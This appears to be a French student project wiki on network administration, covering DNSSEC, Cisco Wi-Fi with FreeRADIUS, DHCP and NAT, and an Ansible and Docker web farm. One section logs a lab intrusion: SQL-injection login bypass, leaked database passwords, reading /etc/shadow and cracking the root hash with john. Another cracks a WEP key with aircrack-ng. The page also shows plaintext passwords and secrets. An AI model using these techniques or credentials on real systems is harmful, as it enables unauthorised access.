On crée ensuite un dossier girolle_dnssec pour y stocker les couples de clés générées:&lt;br /&gt;
Une clef asymétrique de signature de clefs de zone &lt;br /&gt;
&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE girolle.site&lt;br /&gt;
  &lt;br /&gt;
&lt;br /&gt;
Une clef asymétrique de la zone pour signer les enregistrements&lt;br /&gt;
&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 1024 -n ZONE girolle.site&lt;br /&gt;
&lt;br /&gt;
On renomme les deux paires de clés de la façon suivante :&lt;br /&gt;
  &lt;br /&gt;
 Kgirolle.site.+0+55681.key et Kgirolle.site.+0+55681.private en girolle.site-ksk.key et girolle.site-ksk.private&lt;br /&gt;
 Kgirolle.site.+0+00840.key et Kgirolle.site.+0+00840.private en girolle.site-zsk.key et girolle.site-ksk.private&lt;br /&gt;
&lt;br /&gt;
On inclue en les clefs publiques dans le fichier de zone db.girolle.site :&lt;br /&gt;
&lt;br /&gt;
 $include /etc/bind/girolle_dnssec/&amp;lt;nom_de_zone&amp;gt;-ksk.key&lt;br /&gt;
 $include /etc/bind/girolle_dnssec/&amp;lt;nom_de_zone&amp;gt;-zsk.key&lt;br /&gt;
&lt;br /&gt;
On signe les enregistrement de la zone avec la commande&lt;br /&gt;
 dnssec-signzone -o girolle.site -k girolle.site-ksk ../db.girolle.site girolle.site-zsk&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/named.conf.local on modifie la zone :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;girolle.site&amp;quot; IN {&lt;br /&gt;
  type master;&lt;br /&gt;
  file &amp;quot;/etc/bind/db.girolle.site.signed&amp;quot;;&lt;br /&gt;
  allow-transfer {227.70.177.40;};&lt;br /&gt;
 };   &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Enfin sur Gandi, on ajoute la clé publique ksk avec l'algorithme(RSA/SHA-1).&lt;br /&gt;
&lt;br /&gt;
On utilise l'analyseur de DNSSEC du site Verisign Labs pour vérifier. Tout s'effectue sans erreur.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Girolle.jpg|300px]]&lt;br /&gt;
&lt;br /&gt;
== Configuration des bornes Wi-Fi ==&lt;br /&gt;
&lt;br /&gt;
Borne classique : Cisco - AIR-CAP1602I-E-K9&lt;br /&gt;
&lt;br /&gt;
Configuration IOS en CLI :&lt;br /&gt;
&lt;br /&gt;
 aaa new-model&lt;br /&gt;
 !&lt;br /&gt;
 !&lt;br /&gt;
 aaa group server radius radius_girolle&lt;br /&gt;
 server 193.48.57.182 auth-port 1812 acct-port 1813&lt;br /&gt;
 !&lt;br /&gt;
 aaa authentication login eap_group1 group radius_group1&lt;br /&gt;
 aaa authentication login eap_girolle group radius_girolle&lt;br /&gt;
 !         &lt;br /&gt;
 dot11 ssid SSID_GIROLLE&lt;br /&gt;
    vlan 107&lt;br /&gt;
    authentication open eap eap_girolle &lt;br /&gt;
    authentication network-eap eap_girolle &lt;br /&gt;
    authentication key-management wpa&lt;br /&gt;
 !&lt;br /&gt;
 !&lt;br /&gt;
 ...&lt;br /&gt;
 interface Dot11Radio0&lt;br /&gt;
  encryption vlan 101 mode ciphers aes-ccm tkip&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 ...&lt;br /&gt;
 interface BVI1&lt;br /&gt;
 ip address 10.60.100.10 255.255.255.0&lt;br /&gt;
 !&lt;br /&gt;
 radius-server host 193.48.57.182 auth-port 1812 acct-port 1813 key 7 09414A191B0A051C0E1B0D2C22&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
10.60.100.10 : adresse IP fixe du point d'accès&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Commandes et verifications /&lt;br /&gt;
 ap(config)#interface BVI1&lt;br /&gt;
 ap(config-if)# ip address 10.60.100.10 255.255.255.0&lt;br /&gt;
 ap(config-if)#exit&lt;br /&gt;
 ap#write&lt;br /&gt;
 PING ROUTEUR 1 POUR VERIFIER LA CONNEXION&lt;br /&gt;
 ap#ping 10.60.100.2 &lt;br /&gt;
 Type escape sequence to abort.&lt;br /&gt;
 Sending 5, 100-byte ICMP Echos to 10.60.100.2, timeout is 2 seconds:&lt;br /&gt;
 .!!!!&lt;br /&gt;
 Success rate is 80 percent (4/5), round-trip min/avg/max = 1/1/1 ms&lt;br /&gt;
&lt;br /&gt;
test second routeur : ne fonctionne pas car pas d'addresse ip&lt;br /&gt;
 ap#ping 10.60.100.1&lt;br /&gt;
 Type escape sequence to abort.&lt;br /&gt;
 Sending 5, 100-byte ICMP Echos to 10.60.100.1, timeout is 2 seconds:&lt;br /&gt;
 .....&lt;br /&gt;
 Success rate is 0 percent (0/5)&lt;br /&gt;
&lt;br /&gt;
Configurer l'adresse par defaut:&lt;br /&gt;
&lt;br /&gt;
 ap(config)#ip route 0.0.0.0 0.0.0.0 10.60.100.2&lt;br /&gt;
 ap(config)#exit&lt;br /&gt;
 ap#sh ip route&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Test ping notre machine virtuelle girolle : &lt;br /&gt;
 ap#ping 193.48.57.182&lt;br /&gt;
 Type escape sequence to abort.&lt;br /&gt;
 Sending 5, 100-byte ICMP Echos to 193.48.57.182, timeout is 2 seconds:&lt;br /&gt;
 !!!!!&lt;br /&gt;
 Success rate is 100 percent (5/5), round-trip min/avg/max = 1/1/1 ms&lt;br /&gt;
&lt;br /&gt;
===Sécurisation===&lt;br /&gt;
&lt;br /&gt;
On a refait la configuration avec groupe7 pour s'aligner sur les autres groupes.&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config)# aaa authentication login eap_group7 group radius_group7&lt;br /&gt;
 wifi-ima5sc(config)# radius-server host 193.48.57.182 auth-port 1812 acct-port 1813 key secret_group7&lt;br /&gt;
 wifi-ima5sc(config)# aaa group server radius radius_group7&lt;br /&gt;
 wifi-ima5sc(config-server)# server 193.48.57.182 auth-port 1812 acct-port 1813&lt;br /&gt;
 wifi-ima5sc(config)# dot11 ssid SSID_GROUP7&lt;br /&gt;
 wifi-ima5sc(config-radius)# mbssid guest-mode&lt;br /&gt;
 wifi-ima5sc(config-radius)# vlan 307&lt;br /&gt;
 wifi-ima5sc(config-radius)# authentication open eap eap_group7&lt;br /&gt;
 wifi-ima5sc(config-radius)# authentication network-eap eap_group7&lt;br /&gt;
 wifi-ima5sc(config-radius)# authentication key-management wpa&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config)# int Dot11Radio0&lt;br /&gt;
 wifi-ima5sc(config-if)# encryption vlan 307 mode ciphers aes-ccm tkip&lt;br /&gt;
 wifi-ima5sc(config-if)# mbssid&lt;br /&gt;
 wifi-ima5sc(config)# ssid SSID_GROUP7&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config-subif)# int dot11radio0.7&lt;br /&gt;
 wifi-ima5sc(config-subif)# encapsulation dot1q 307&lt;br /&gt;
 wifi-ima5sc(config-subif)# bridge-group 7&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config)# int Gi0.7&lt;br /&gt;
 wifi-ima5sc(config-subif)# encapsulation dot1q 307&lt;br /&gt;
 wifi-ima5sc(config-subif)# bridge-group 7&lt;br /&gt;
&lt;br /&gt;
===FreeRadius===&lt;br /&gt;
&lt;br /&gt;
Dans /etc/freeradius/3.0/users&lt;br /&gt;
&lt;br /&gt;
 pifou Cleartext-Password := &amp;quot;pasglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Dans /etc/freeradius/3.0/client.conf&lt;br /&gt;
&lt;br /&gt;
 client girolle_wifi {&lt;br /&gt;
     ipaddr = 10.60.100.10&lt;br /&gt;
     secret = secret_group7&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
Dans /etc/freeradius/3.0/mods-enabled/eap&lt;br /&gt;
&lt;br /&gt;
 default_eap_type = peap&lt;br /&gt;
&lt;br /&gt;
Finalement on lance la commande freeradius -X&lt;br /&gt;
&lt;br /&gt;
===DHCP et mascarade===&lt;br /&gt;
&lt;br /&gt;
On doit implanter une fonction de serveur DHCP sur les deux routeurs.&lt;br /&gt;
&lt;br /&gt;
Pour le 6509E :&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)#ip dhcp pool groupe7&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#dns 193.48.57.182&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#network 10.60.107.0 255.255.255.0&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#default-router 10.60.107.1&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#exit&lt;br /&gt;
 IMA5sc-R1(config)#ip dhcp excluded-address 10.60.107.0 10.60.107.99&lt;br /&gt;
 IMA5sc-R1(config)#ip dhcp excluded-address 10.60.107.150 10.60.107.255&lt;br /&gt;
 IMA5sc-R1(config)#exit&lt;br /&gt;
 IMA5sc-R1#sh ip dhcp binding&lt;br /&gt;
 IMA5sc-R1#ping 193.48.57.182&lt;br /&gt;
&lt;br /&gt;
Le ping fonctionne.&lt;br /&gt;
&lt;br /&gt;
Pour le C9200 :&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R2(config)#ip dhcp pool groupe7&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#dns 193.48.57.182&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#network 10.60.107.0 255.255.255.0&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#default-router 10.60.107.2&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#exit&lt;br /&gt;
 IMA5sc-R2(config)#ip dhcp excluded-address 10.60.107.0 10.60.107.49&lt;br /&gt;
 IMA5sc-R2(config)#ip dhcp excluded-address 10.60.107.100 10.60.107.255&lt;br /&gt;
 IMA5sc-R2(config)#exit&lt;br /&gt;
 IMA5sc-R2#sh ip dhcp binding&lt;br /&gt;
&lt;br /&gt;
Mise en place de la mascarade (vlan131 -&amp;gt; vlan pour se connecter au routeur):&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)# int vlan 307&lt;br /&gt;
 IMA5sc-R1(config-if)# ip nat inside&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)# int vlan 131&lt;br /&gt;
 IMA5sc-R1(config-if)# ip nat outside&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)# access-list 107 permit ip 10.60.107.0 0.0.0.255 any&lt;br /&gt;
 IMA5sc-R1(config)# ip nat inside source list 107 interface vlan 131 overload&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Création du vlan sur les routeurs&lt;br /&gt;
 vlan 307&lt;br /&gt;
&lt;br /&gt;
==Configuration WLC==&lt;br /&gt;
&lt;br /&gt;
Utilisation de bornes Cisco 2802i&lt;br /&gt;
&lt;br /&gt;
Connection via minicom -os (9600 bauds)&lt;br /&gt;
&lt;br /&gt;
 enable &lt;br /&gt;
 capwap ap ip &amp;lt;ip&amp;gt; &amp;lt;netmask&amp;gt; &amp;lt;gateway&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Intrusion honey.plil.info ==&lt;br /&gt;
&lt;br /&gt;
pour avoir les identifiants de l'admin : ID = ' OR '1'='1 et MDP = ' OR '1'='1&lt;br /&gt;
&lt;br /&gt;
Admin : admin	jesuislechef	admin	Administrateur&lt;br /&gt;
&lt;br /&gt;
Creer le fichier  etc/phpmyadmin/config-db.php&lt;br /&gt;
en allant dans l'onglet: .... on telecharge le fichier qu'on a crée : &lt;br /&gt;
 &amp;lt;?php&lt;br /&gt;
 ##&lt;br /&gt;
 ## database access settings in php format&lt;br /&gt;
 ## automatically generated from /etc/dbconfig-common/phpmyadmin.conf&lt;br /&gt;
 ## by /usr/sbin/dbconfig-generate-include&lt;br /&gt;
 ##&lt;br /&gt;
 ## by default this file is managed via ucf, so you shouldn't have to&lt;br /&gt;
 ## worry about manual changes being silently discarded.  *however*,&lt;br /&gt;
 ## you'll probably also want to edit the configuration file mentioned&lt;br /&gt;
 ## above too.&lt;br /&gt;
 ##&lt;br /&gt;
 $dbuser='phpmyadmin';&lt;br /&gt;
 $dbpass='gencovid19';&lt;br /&gt;
 $basepath='';&lt;br /&gt;
 $dbname='phpmyadmin';&lt;br /&gt;
 $dbserver='localhost';&lt;br /&gt;
 $dbport='3306';&lt;br /&gt;
 $dbtype='mysql';&lt;br /&gt;
&lt;br /&gt;
on reccupere user et mdp pour acceder a la page http://honey.plil.info/phpmyadmin/ &lt;br /&gt;
connexion id : root&lt;br /&gt;
mdp: gencovid19&lt;br /&gt;
&lt;br /&gt;
une fois connecter on recherche les identifiants des utilisateurs ssh :&lt;br /&gt;
id = rex &lt;br /&gt;
mdp: &lt;br /&gt;
&lt;br /&gt;
connexion ssh : ssh rex@honey.plil.info&lt;br /&gt;
 /etc/shadow pour trouver la cle de cryptage du mdp root &lt;br /&gt;
 copier la cle et la mettre dans un fichier (exemple :temp): root:$6$yCvXnJp4SOQwQaxV$vRYUr1fwU1SAPxZ0NbdIw/03ypGXjjRjZKRfX3sa7T2v9XnbI4xG.EyEtcrtASLlvqxuh9Hr6TrOB5Szopd6m/:18525:0:99999:7:::&lt;br /&gt;
 installation de john &lt;br /&gt;
 john nom du fichier&lt;br /&gt;
&lt;br /&gt;
pour aller plus rapidement creer un dictionnaire a partir des indices donnés  : motif doublé 'le mot de passe de root possède la même particularité que le mot de passe administrateur habituel des machines de projets'&lt;br /&gt;
utiliseer crunch?&lt;br /&gt;
&lt;br /&gt;
== Cassage de clef WEP d’un point d’accès WiFi ==&lt;br /&gt;
&lt;br /&gt;
On utilise le paquet aircrack-ng.&lt;br /&gt;
&lt;br /&gt;
La commande&lt;br /&gt;
 airmon-ng&lt;br /&gt;
permet de voir le nom du réseau sans fil: wlan0mon&lt;br /&gt;
&lt;br /&gt;
 airmon-ng start wlan0mon&lt;br /&gt;
&lt;br /&gt;
On scanne les réseaux :&lt;br /&gt;
 airodump-ng --encrypte wep wlan0mon&lt;br /&gt;
&lt;br /&gt;
On choisi un réseau parmi ceux disponibles. Par exemple la cracotte08 est sur le canal 7 et a pour BSSID 04:DA:D2:9C:50:57.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:capturewep1.png|600px]]&lt;br /&gt;
&lt;br /&gt;
On lance avec la commande :&lt;br /&gt;
&lt;br /&gt;
 airodump-ng --write testwep --channel 7 --bssid 04:DA:D2:9C:50:57 wlan0mon&lt;br /&gt;
&lt;br /&gt;
 aircrack-ng -z testwep-01.cap&lt;br /&gt;
&lt;br /&gt;
[[Fichier:capturewep2.png|600px]]&lt;br /&gt;
&lt;br /&gt;
==Ferme de serveurs web==&lt;br /&gt;
&lt;br /&gt;
===Architecture générale de la ferme===&lt;br /&gt;
&lt;br /&gt;
On travaille avec deux machines virtuelles, l'une sur le serveur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; (celle mise en place en PRA), l'autre sur le serveur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
On ferme la machine virtuelle sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; (commande &amp;lt;code&amp;gt;halt&amp;lt;/code&amp;gt;) pour modifier le fichier de configuration &amp;lt;code&amp;gt;girolle.cfg&amp;lt;/code&amp;gt;.&lt;br /&gt;
On ajoute à la ligne vif &amp;lt;code&amp;gt;'mac=@MAC incrémenté de 1, bridge=bridgeStudents'&amp;lt;/code&amp;gt; avant de la relancer.&lt;br /&gt;
&lt;br /&gt;
'''Interfaces'''&lt;br /&gt;
&lt;br /&gt;
On associe l'adresse IP &amp;lt;code&amp;gt;192.186.42.21&amp;lt;/code&amp;gt; à la VM sur le serveur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;. Pour cela on l'ajoute dans &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; :&lt;br /&gt;
&lt;br /&gt;
 auto eth1&lt;br /&gt;
 iface eth1 inet static&lt;br /&gt;
   address 192.168.42.21 &lt;br /&gt;
   netmask 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
Sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;, on ajoute une interface dans &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; :&lt;br /&gt;
 auto eth0&lt;br /&gt;
 iface eth0 inet static&lt;br /&gt;
   address 192.168.42.7&lt;br /&gt;
   netmask 255.255.255.0 &lt;br /&gt;
   gateway 192.168.42.21&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Le ping entre leux deux machine se fait.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Mascarade'''&lt;br /&gt;
&lt;br /&gt;
On met en place une mascarade pour que la VM sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; ait accès à internet :&lt;br /&gt;
&lt;br /&gt;
 iptables -P FORWARD DROP&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -s 192.168.42.7/32&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -d 192.168.42.7/32&lt;br /&gt;
 iptables -t nat -A POSTROUTING -j SNAT -s 192.168.42.7/32 --to-source 193.48.57.182&lt;br /&gt;
 iptables-save&lt;br /&gt;
 echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
'''Mise en place d'&amp;lt;code&amp;gt;ansible&amp;lt;/code&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
Installation d'&amp;lt;code&amp;gt;ansible&amp;lt;/code&amp;gt; sur la VM de &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;.&lt;br /&gt;
Création des clés avec la commande &amp;lt;code&amp;gt;ssh-keygen -t rsa&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On ajoute la clé public sur toutes les machines de &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; :&lt;br /&gt;
 cat id_rsa.pub | ssh root@192.168.42.7 'cat &amp;gt;&amp;gt; .ssh/authorized_keys2'&lt;br /&gt;
&lt;br /&gt;
Installation de Python sur la VM de &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; (Attention à installer uniquement python3 et ne pas avoir de versions antérieurs pour éviter les conflits de version).&lt;br /&gt;
 apt install python3&lt;br /&gt;
 ln -sf /usr/bin/python3 /usr/bin/python&lt;br /&gt;
&lt;br /&gt;
L'utilitaire &amp;lt;code&amp;gt;ansible&amp;lt;/code&amp;gt; permet d'organiser le projet en plusieurs parties. Les manipulations se font majoritairement sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
'''Inventaire'''&lt;br /&gt;
&lt;br /&gt;
Sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;, on crée un inventaire dans &amp;lt;code&amp;gt;/etc/ansible/hosts&amp;lt;/code&amp;gt;. en séparant notre serveur seul des autres (dont le notre).&lt;br /&gt;
 [self]&lt;br /&gt;
 192.168.42.7&lt;br /&gt;
&lt;br /&gt;
 [webinterne]&lt;br /&gt;
 192.168.42.2&lt;br /&gt;
 192.168.42.4&lt;br /&gt;
 192.168.42.5&lt;br /&gt;
 192.168.42.7&lt;br /&gt;
 192.168.42.9&lt;br /&gt;
 192.168.42.12&lt;br /&gt;
&lt;br /&gt;
'''Playbook et roles'''&lt;br /&gt;
&lt;br /&gt;
On va créer plusieurs rôles qui seront lancés via un playbook (&amp;lt;code&amp;gt;/root/playbooks/&amp;lt;/code&amp;gt;). Chaque rôle à son propre sous-répertoire (&amp;lt;code&amp;gt;/etc/ansible/roles&amp;lt;/code&amp;gt;).&lt;br /&gt;
&lt;br /&gt;
'''Rôle &amp;lt;code&amp;gt;basic&amp;lt;/code&amp;gt; :'''&lt;br /&gt;
* &amp;lt;code&amp;gt;files&amp;lt;/code&amp;gt; qui contient la configuration mymotd_conf et ntp.conf&lt;br /&gt;
** mymotd_conf : On met ce que l'on veut afficher dedans&lt;br /&gt;
** ntp.conf : Fichier récupéré auquel on ajoute le serveur NTP et les IP&lt;br /&gt;
 # You do need to talk to an NTP server or two (or three).&lt;br /&gt;
 #server ntp.your-provider.example&lt;br /&gt;
 server ntp.plil.info&lt;br /&gt;
 ...&lt;br /&gt;
 # Local users may interrogate the ntp server more closely.&lt;br /&gt;
 restrict 127.0.0.1&lt;br /&gt;
 restrict ::1&lt;br /&gt;
 restrict 192.168.42.21&lt;br /&gt;
 restrict 192.168.42.7&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;tasks&amp;lt;/code&amp;gt; qui contient un &amp;lt;code&amp;gt;main.yml&amp;lt;/code&amp;gt;&lt;br /&gt;
 - name : gestion packages&lt;br /&gt;
   apt:&lt;br /&gt;
     update_cache: yes&lt;br /&gt;
     name: &amp;quot;{{ packages } }&amp;quot;&lt;br /&gt;
   vars:&lt;br /&gt;
     packages:&lt;br /&gt;
      - python3&lt;br /&gt;
      - python3-pip&lt;br /&gt;
      - ntpdate&lt;br /&gt;
      - ntp&lt;br /&gt;
 &lt;br /&gt;
 - name : gestion packages pip&lt;br /&gt;
   pip:&lt;br /&gt;
      name:&lt;br /&gt;
         - docker&lt;br /&gt;
 - name: lien symbolique&lt;br /&gt;
   command: ln -sf /usr/bin/python3 /usr/bin/python&lt;br /&gt;
 &lt;br /&gt;
 - name: motd&lt;br /&gt;
   copy:&lt;br /&gt;
      src: /etc/ansible/roles/basic/files/mymotd_conf&lt;br /&gt;
      dest: /etc/motd&lt;br /&gt;
      owner: root&lt;br /&gt;
      group: root&lt;br /&gt;
      mode: '0644' &lt;br /&gt;
&lt;br /&gt;
 - name: config ntp&lt;br /&gt;
   copy:&lt;br /&gt;
      src: /etc/ansible/roles/basic/files/ntp.conf&lt;br /&gt;
      dest: /etc/ntp.conf&lt;br /&gt;
      owner: root&lt;br /&gt;
      group: root&lt;br /&gt;
      mode: '0644'&lt;br /&gt;
&lt;br /&gt;
Ce rôle permet de configurer le motd et le NTP. Il permet également d'installer les packages nécessaires.&lt;br /&gt;
&lt;br /&gt;
===Installation de &amp;lt;code&amp;gt;docker&amp;lt;/code&amp;gt;===&lt;br /&gt;
&lt;br /&gt;
On installe &amp;lt;code&amp;gt;docker&amp;lt;/code&amp;gt; par l'intermédiaire du playbook sur notre VM sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;. Pour cela on utilise un rôle déjà créé par &amp;lt;code&amp;gt;geerlingguy&amp;lt;/code&amp;gt;. Les variables docker_&amp;lt;code&amp;gt;apt_gpg_key&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;docker_apt_repository&amp;lt;/code&amp;gt; permettent que le rôle se comporte comme si la VM est sous debian version buster.&lt;br /&gt;
&lt;br /&gt;
'''Playbook &amp;lt;code&amp;gt;first_play.yml&amp;lt;/code&amp;gt; :'''&lt;br /&gt;
 ---&lt;br /&gt;
 - name: Premiere playbook&lt;br /&gt;
   hosts: self&lt;br /&gt;
   roles:&lt;br /&gt;
     - basic &lt;br /&gt;
     - geerlingguy.docker&lt;br /&gt;
     - registry&lt;br /&gt;
   vars:&lt;br /&gt;
     docker_apt_gpg_key: &amp;quot;https://download.docker.com/linux/debian/gpg&amp;quot;&lt;br /&gt;
     docker_apt_repository: &amp;quot;deb [arch={ { docker_apt_arch }}] https://download.docker.com/linux/debian buster {{ docker_apt_release_channel } }&amp;quot; &lt;br /&gt;
&lt;br /&gt;
===Création du conteneur===&lt;br /&gt;
&lt;br /&gt;
On met en place un conteneur qui contient notre site web et démarre apache2 sur le port 80.&lt;br /&gt;
En premier lieu on installe &amp;lt;code&amp;gt;docker&amp;lt;/code&amp;gt; sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; avec &amp;lt;code&amp;gt;wget get.docker.com&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Dockerfile'''&lt;br /&gt;
&lt;br /&gt;
Il faut ensuite réaliser un &amp;lt;code&amp;gt;dockerfile&amp;lt;/code&amp;gt; toujours sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; :&lt;br /&gt;
 FROM httpd:latest&lt;br /&gt;
 MAINTAINER NourClara&lt;br /&gt;
 COPY ./index.html /usr/local/apache2/htdocs/&lt;br /&gt;
 CMD [ &amp;quot;httpd&amp;quot;, &amp;quot;-D&amp;quot;, &amp;quot;FOREGROUND&amp;quot; ]&lt;br /&gt;
Le fichier &amp;lt;code&amp;gt;index.html&amp;lt;/code&amp;gt; dans lequel se trouve le contenu du site web doit se trouver dans le même répertoire que le &amp;lt;code&amp;gt;dockerfile&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
'''Construction et lancement de l'image docker'''&lt;br /&gt;
&lt;br /&gt;
 docker build -t webserver .&lt;br /&gt;
On aurait pu mettre girolle au lieu de webserver par exemple.&lt;br /&gt;
 docker run -d webserver&lt;br /&gt;
&lt;br /&gt;
On vérifie que l'image est construite et lancée correctement avec les commandes &amp;lt;code&amp;gt;docker images&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;docker ps -a&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
'''Dépôt docker local''' &lt;br /&gt;
&lt;br /&gt;
Sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;, on installe un dépôt local qui accueillera notre image docker.&lt;br /&gt;
 docker run -d -p 5000:5000 --restart always --name registry registry:2&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Rôle &amp;lt;code&amp;gt;registry&amp;lt;/code&amp;gt; :'''&lt;br /&gt;
* &amp;lt;code&amp;gt;tasks&amp;lt;/code&amp;gt; qui contient un &amp;lt;code&amp;gt;main.yml&amp;lt;/code&amp;gt;&lt;br /&gt;
 - name: Setup registry&lt;br /&gt;
   docker_container:&lt;br /&gt;
           name: registry&lt;br /&gt;
           image: registry&lt;br /&gt;
           ports:&lt;br /&gt;
                   - &amp;quot;5000:5000&amp;quot;&lt;br /&gt;
&lt;br /&gt;
'''Autorisation d'un dépôt non sécurisé'''&lt;br /&gt;
&lt;br /&gt;
Par défaut, la connexion se fait en HTTPS. Comme ici les différents dépôts ne sont pas sécurisés, on doit autoriser la connexion en HTTP. Pour cela, on ajoute un fichier deamon.json sur nos deux machines dans &amp;lt;code&amp;gt;/etc/docker/&amp;lt;/code&amp;gt; :&lt;br /&gt;
 {&lt;br /&gt;
   &amp;quot;insecure-registries&amp;quot; : [&amp;quot;192.168.42.2:5000&amp;quot;, &amp;quot;192.168.42.4:5000&amp;quot;, &amp;quot;192.168.42.5:5000&amp;quot;, &amp;quot;192.168.42.7:5000&amp;quot;, &amp;quot;192.168.42.9:5000&amp;quot;, &amp;quot;192.168.42.12:5000&amp;quot;]&lt;br /&gt;
 }&lt;br /&gt;
Puis &amp;lt;code&amp;gt;service docker restart&amp;lt;/code&amp;gt; pour que le changement soit pris en compte.&lt;br /&gt;
&lt;br /&gt;
'''Exportation depuis &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; vers la VM sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
 docker tag webserver 192.168.42.7:5000/webserver&lt;br /&gt;
 docker push 192.168.42.7:5000/webserver&lt;br /&gt;
&lt;br /&gt;
'''Récupération de l'image docker dans &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
 docker pull 192.168.42.7:5000/webserver&lt;br /&gt;
&lt;br /&gt;
===Configuration des serveurs internes===&lt;br /&gt;
&lt;br /&gt;
Pour déployer notre conteneur web automatiquement sur toutes les VM de &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; on crée un nouveau rôle. On utilise le port qui nous est alloué : le 8087.&lt;br /&gt;
&lt;br /&gt;
'''Rôle &amp;lt;code&amp;gt;deployer&amp;lt;/code&amp;gt; :'''&lt;br /&gt;
* &amp;lt;code&amp;gt;tasks&amp;lt;/code&amp;gt; contenant un &amp;lt;code&amp;gt;main.yml&amp;lt;/code&amp;gt;&lt;br /&gt;
 - name : deployer sur les VMs&lt;br /&gt;
   docker_container:&lt;br /&gt;
           name: site&lt;br /&gt;
           image: 192.168.42.7:5000/webserver&lt;br /&gt;
           ports:&lt;br /&gt;
                   - &amp;quot;8087:80&amp;quot;  &lt;br /&gt;
&amp;lt;code&amp;gt;image&amp;lt;/code&amp;gt; : là où se trouve notre serveur web à déployer (sur notre VM sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;)&lt;br /&gt;
&lt;br /&gt;
Ensuite dans le playbook on crée une seconde partie avec pour hôte &amp;lt;code&amp;gt;webinterne&amp;lt;/code&amp;gt;:&lt;br /&gt;
&lt;br /&gt;
'''Playbook complet &amp;lt;code&amp;gt;first_play.yml&amp;lt;/code&amp;gt; :'''&lt;br /&gt;
 ---&lt;br /&gt;
 - name: Premiere playbook&lt;br /&gt;
   hosts: self&lt;br /&gt;
   roles:&lt;br /&gt;
     - basic &lt;br /&gt;
     - geerlingguy.docker&lt;br /&gt;
     - registry&lt;br /&gt;
   vars:&lt;br /&gt;
     docker_apt_gpg_key: &amp;quot;https://download.docker.com/linux/debian/gpg&amp;quot;&lt;br /&gt;
     docker_apt_repository: &amp;quot;deb [arch={ { docker_apt_arch }}] https://download.docker.com/linux/debian buster {{ docker_apt_release_channel } }&amp;quot;    &lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
 - name: Deploiement&lt;br /&gt;
   hosts: webinterne&lt;br /&gt;
   roles:&lt;br /&gt;
      - deployer&lt;br /&gt;
